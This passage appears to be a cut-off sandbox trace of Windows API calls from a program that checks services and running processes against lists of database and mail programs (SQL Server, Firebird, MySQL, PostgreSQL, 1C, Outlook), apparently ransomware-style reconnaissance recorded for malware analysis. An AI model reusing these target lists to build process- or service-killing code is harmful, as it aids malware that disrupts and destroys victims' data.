lpString2="CryptSvc") returned 1 [0045.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0045.776] lstrlenW (lpString="CscService") returned 10 [0045.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0045.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0045.776] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0045.776] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0045.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0045.776] lstrlenW (lpString="DcomLaunch") returned 10 [0045.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0045.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0045.776] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0045.776] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0045.777] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0045.777] lstrlenW (lpString="Dhcp") returned 4 [0045.777] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0045.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0045.777] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0045.777] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0045.777] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0045.777] lstrlenW (lpString="Dnscache") returned 8 [0045.777] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0045.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0045.777] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0045.777] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0045.777] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0045.777] lstrlenW (lpString="DPS") returned 3 [0045.777] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0045.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0045.777] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0045.777] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0045.777] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0045.777] lstrlenW (lpString="eventlog") returned 8 [0045.777] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0045.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0045.777] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0045.777] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0045.777] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0045.777] lstrlenW (lpString="EventSystem") returned 11 [0045.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0045.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0045.778] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0045.778] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0045.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0045.778] lstrlenW (lpString="gpsvc") returned 5 [0045.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0045.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0045.780] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0045.780] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0045.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0045.780] lstrlenW (lpString="iphlpsvc") returned 8 [0045.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0045.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0045.780] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0045.780] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0045.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0045.780] lstrlenW (lpString="LanmanServer") returned 12 [0045.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0045.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0045.780] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0045.780] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0045.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0045.780] lstrlenW (lpString="LanmanWorkstation") returned 17 [0045.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0045.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0045.780] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0045.780] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0045.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0045.780] lstrlenW (lpString="lmhosts") returned 7 [0045.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0045.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0045.780] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0045.780] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0045.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0045.780] lstrlenW (lpString="MMCSS") returned 5 [0045.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0045.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0045.781] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0045.781] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0045.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0045.781] lstrlenW (lpString="MpsSvc") returned 6 [0045.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0045.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0045.781] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0045.781] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0045.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0045.781] lstrlenW (lpString="Netman") returned 6 [0045.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0045.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0045.781] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0045.781] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0045.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0045.781] lstrlenW (lpString="netprofm") returned 8 [0045.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0045.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0045.781] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0045.781] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0045.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0045.781] lstrlenW (lpString="NlaSvc") returned 6 [0045.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0045.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0045.781] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0045.781] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0045.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0045.781] lstrlenW (lpString="nsi") returned 3 [0045.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0045.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0045.782] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0045.782] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0045.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0045.782] lstrlenW (lpString="PcaSvc") returned 6 [0045.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0045.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0045.782] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0045.782] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0045.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0045.782] lstrlenW (lpString="PlugPlay") returned 8 [0045.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0045.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0045.782] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0045.782] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0045.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0045.782] lstrlenW (lpString="Power") returned 5 [0045.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0045.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0045.782] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0045.782] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0045.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0045.782] lstrlenW (lpString="ProfSvc") returned 7 [0045.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0045.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0045.783] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0045.783] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0045.783] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0045.783] lstrlenW (lpString="RpcEptMapper") returned 12 [0045.783] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0045.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0045.783] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0045.783] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0045.783] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0045.783] lstrlenW (lpString="RpcSs") returned 5 [0045.783] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0045.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0045.783] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0045.783] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0045.783] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0045.783] lstrlenW (lpString="SamSs") returned 5 [0045.783] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0045.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0045.783] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0045.783] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0045.783] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0045.783] lstrlenW (lpString="Schedule") returned 8 [0045.783] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0045.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0045.783] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0045.783] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0045.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0045.784] lstrlenW (lpString="SENS") returned 4 [0045.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0045.784] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0045.784] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0045.784] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0045.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0045.784] lstrlenW (lpString="ShellHWDetection") returned 16 [0045.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0045.784] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0045.784] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0045.784] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0045.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0045.784] lstrlenW (lpString="Spooler") returned 7 [0045.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0045.784] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0045.784] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0045.784] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0045.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0045.784] lstrlenW (lpString="SysMain") returned 7 [0045.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0045.784] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0045.784] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0045.784] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0045.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0045.784] lstrlenW (lpString="Themes") returned 6 [0045.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0045.785] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0045.785] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0045.785] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0045.785] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0045.785] lstrlenW (lpString="TrkWks") returned 6 [0045.785] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0045.785] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0045.785] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0045.785] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0045.785] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0045.785] lstrlenW (lpString="UxSms") returned 5 [0045.785] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0045.785] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0045.785] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0045.785] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0045.785] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0045.785] lstrlenW (lpString="VSS") returned 3 [0045.785] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0045.785] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0045.785] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0045.785] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0045.785] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0045.785] lstrlenW (lpString="WdiServiceHost") returned 14 [0045.785] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0045.785] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0045.785] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0045.786] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0045.786] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0045.786] lstrlenW (lpString="WdiSystemHost") returned 13 [0045.786] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0045.786] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0045.786] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0045.786] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0045.786] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0045.786] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0045.786] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0045.786] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0045.786] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0045.786] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0045.786] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0045.786] lstrlenW (lpString="Winmgmt") returned 7 [0045.786] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0045.786] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0045.786] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0045.786] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0045.786] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0045.786] lstrlenW (lpString="WPDBusEnum") returned 10 [0045.786] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0045.786] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0045.786] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0045.786] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0045.786] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0045.787] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x60eb98 | out: hHeap=0x510000) returned 1 [0045.787] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x19c [0046.071] Process32FirstW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0046.071] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0046.072] lstrlenW (lpString="System") returned 6 [0046.072] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0046.072] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0046.072] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0046.072] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0046.072] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0046.072] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0046.072] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0046.072] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0046.072] lstrlenW (lpString="smss.exe") returned 8 [0046.073] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0046.073] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0046.073] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0046.073] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0046.073] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0046.073] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0046.073] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0046.073] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0046.073] lstrlenW (lpString="csrss.exe") returned 9 [0046.073] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0046.073] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0046.073] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0046.073] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0046.073] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0046.073] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0046.073] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0046.073] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0046.074] lstrlenW (lpString="wininit.exe") returned 11 [0046.074] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0046.074] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0046.074] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0046.074] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0046.074] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0046.074] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0046.074] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0046.074] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0046.075] lstrlenW (lpString="csrss.exe") returned 9 [0046.075] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0046.075] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0046.075] lstrlenW (lpString="winlogon.exe") returned 12 [0046.075] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0046.076] lstrlenW (lpString="services.exe") returned 12 [0046.076] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0046.076] lstrlenW (lpString="lsass.exe") returned 9 [0046.076] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0046.077] lstrlenW (lpString="lsm.exe") returned 7 [0046.077] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.077] lstrlenW (lpString="svchost.exe") returned 11 [0046.077] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.078] lstrlenW (lpString="svchost.exe") returned 11 [0046.078] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.078] lstrlenW (lpString="svchost.exe") returned 11 [0046.078] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.079] lstrlenW (lpString="svchost.exe") returned 11 [0046.079] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.079] lstrlenW (lpString="svchost.exe") returned 11 [0046.079] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, 